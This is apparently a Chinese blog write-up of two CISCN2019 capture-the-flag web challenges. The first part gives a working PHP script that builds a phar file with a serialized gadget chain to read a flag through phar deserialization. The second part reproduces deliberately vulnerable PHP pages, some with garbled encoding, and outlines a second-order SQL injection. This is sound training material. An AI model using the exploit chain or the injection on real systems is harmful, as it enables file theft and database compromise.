本文已参与「新人创作礼」活动,一起开启掘金创作之路。
CISCN2019 华北赛区 Day1 Web1 Dropbox
原来CISCN的题这么难嘛,学习到了下载,删除什么的其实可以抓包看看如何实现的,刚开始一直没有思路。
解题:
进入页面,登陆注册都没有什么猫腻。登陆后上传文件在下载的时候抓一个包:
存在任意文件读取,尝试了一下直接读取flag,发现提示没有改文件,要么flag的名字根本猜不到,要么flag杯过滤了。只能从代码审计入手:
发现有一个file_get_contents()
函数。
在类里面,想着要利用的话必须反序列化了,可是代码中没有unserialize
的函数,那就只能用phar协议
了
如果要获取flag的话,其实可以直接用这样的链子就可以得到:
<?php
error_reporting(0);
class User {
public $db ;
}
class File {
public $filename="/flag.txt";
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
$a=new User();
$a->db = new File();
但是这样做的问题是什么呢?没有输出!!
那想要输出,我们必须把FileList
这个类也包括进来
所以我们的链子就变成了这样:
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename="/flag.txt";
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
$a=new User();
$a->db = new FileList();
$phar = new Phar('phar.phar');
$phar-> startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
?>
直接生成phar文件,改成phar.jpg上传
接下来的问题就是触发phar协议读取文件了,发现delet.php
里面有unlink
这个是unlink的示例:
可以用phar协议读取我们上传的文件:
\
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
提示了读文件
可以读取任意文件:
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åå 餿å";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>å é¤è®¢å</title>
<base href="./">
<meta charset="utf-8" />
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>å é¤è®¢å</h1>
<form method="post">
<p>
<h3>å§å:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>çµè¯:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">å é¤è®¢å</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订å管ç</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>è¿å</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >æè¦æ¥è®¢å</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >æè¦ä¿®æ¹æ¶è´§å°å</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>æç´¢</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>è®¢åæ¥è¯¢</h1>
<form method="post">
<p>
<h3>å§å:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>çµè¯:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">æ¥è¯¢è®¢å</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订å管ç</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>è¿å</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >æè¦ä¿®æ¹æ¶è´§å°å</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >æä¸æ³è¦äº</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åä¿®æ¹æå";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ä¿®æ¹æ¶è´§å°å</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>ä¿®æ¹æ¶è´§å°å</h1>
<form method="post">
<p>
<h3>å§å:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>çµè¯:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>å°å:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">ä¿®æ¹è®¢å</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订å管ç</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>è¿å</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >æè¦æ¥è®¢å</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >æä¸æ³è¦äº</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
代码审计发现会输出错误,并且对addr的过滤最为简单,可以实现二次注入
先提交订单,在修改
再查询便可以得到flag